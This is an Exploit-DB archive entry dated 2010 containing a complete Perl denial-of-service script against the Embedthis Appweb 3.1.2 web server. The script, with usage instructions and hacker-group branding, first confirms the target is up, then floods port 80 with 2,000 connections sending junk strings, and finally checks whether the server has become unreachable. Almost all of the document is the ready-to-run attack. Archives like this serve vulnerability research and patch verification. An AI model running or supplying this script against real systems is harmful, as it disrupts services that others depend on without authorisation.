Exploit-DB #11763
Description: Embedthis Appweb 3.1.2 - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2010-03-15
Author: chr1x

Exploit:
#!/usr/bin/perl
 
################################################################################
# 
# +------------------------------------------------------------------------+
# |                                 .......                                |
# |                         ..''xxxxxxxxxxxxxxx'...                        |
# |                    ..'xxxxxxxxxxxxxxxxxxxxxxxxxxx..                    |
# |                 ..'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'.                 |
# |               .'xxxxxxxxxxxxxxxxxxxxxxxxxxxx'''.......'.               |
# |             .'xxxxxxxxxxxxxxxxxxxxx''......        ...  ..             |
# |            .xxxxxxxxxxxxxxxxxx'...         ........      .'.           |
# |           'xxxxxxxxxxxxxxx'......                          '.          |
# |          'xxxxxxxxxxxxxx'..'x..                            .x.         |
# |         .xxxxxxxxxxxx'...'..                  ...           .'         |
# |         'xxxxxxxxx'..  .                          ..        .x.        |
# |         xxxxxxx'.                                  ..        x.        |
# |         xxxx'.                ....                  x        x.        |
# |         'x'.            ...'xxxxxxx'.               x       .x.        |
# |         .x'.         .'xxxxxxxxxxxxxx.             ''       .'         |
# |          .xx.      .'xxxxxxxxxxxxxxxx.           .'xx'''.  .'          |
# |           .xx..    'xxxxxxxxxxxxxxxx'          .'xxxxxxxxx''.          |
# |            .'xx'.  .'xxxxxxxxxxxxxxx.      ..'xxxxxxxxxxxx'            |
# |              .xxx'.  .xxxxxxxxxxxx'.    .'xxxxxxxxxxxxxx'.             |
# |                .xxxx'.'xxxxxxxxx'.      xxx'xxxxxxxxxx'.               |
# |                  .'xxxxxxx'....          ...xxxxxxx'.                  |
# |                     ..'xxxxx'..         ..xxxxx'..                     |
# |                          ....'xx'.....''''...                          |
# |                                                                        |
# |                    CubilFelino Security Research Labs                  |
# |                            proudly presents...                         |
# +------------------------------------------------------------------------+
#
#	              Embedthis Appweb 3.1.2 Remote DoS 
#
#
# Greets: l1l1th (my h4x0r bab3), nitr0us, alt3kx, hkm, r1l0, b0rr3x, w01f,
#	  w0lf47, gh0st, CHiP, corelanc0d3r and all the crew of sectester.net. 
#
################################################################################

# Exploit Title: Embedthis Appweb 3.1.2 Remote DoS
# Date: Mar 12, 2010
# Author: chr1x
# Software Link: http://embedthis.com/downloads/index.html 
# Version: 3.1.2
# Tested on: Windows XP SP3 (Spanish Edition)

# st4rt of v00d00 c0d3 XD

use HTTP::Lite;
use IO::Socket;
use locale;

if ($#ARGV != 1) { print "
############################################################
 CubilFelino Security Labs Embedthis Appweb 3.1.2 Remote DoS
		by chr1x\@sectester.net
############################################################

Usage: ". $0 ." -h (ip address)\n

"; exit; } &main();


sub main {
print "
############################################################
 CubilFelino Security Labs Embedthis Appweb 3.1.2 Remote DoS
		by chr1x\@sectester.net
############################################################

";
# Variables
$DossedIP = $ARGV[1];
# Execution functions
&appWebCheck();
sleep 30;
&afterDoS();
}

sub appWebCheck {
print "[*] Verifying that AppWeb is running at $DossedIP in port 80\n";
my $http = new HTTP::Lite;
my $req = $http->request("http://$DossedIP/") 
        or die "[*] Remote address $DossedIP seems not to be up, stopped";
if ($req) { print "[*] w00t! Appweb seems to be running! Sending DoS.. XD\n"; 
for ($i=1; $i<=2000; $i++) {    
my $sock = new IO::Socket::INET (PeerAddr => $DossedIP, PeerPort => '80', Proto => 'tcp', Type => SOCK_STREAM,);
if ($sock) { 
print "[*] Sending Connection request Number: $i\n";
print $sock "Die Biatch!";
close($sock);
}}}}

sub afterDoS {

$http = new HTTP::Lite;
$req = $http->request("http://$DossedIP/") 
        or die "[*] Webserver DoSsed!! Port 80 is unreacheable now.";
}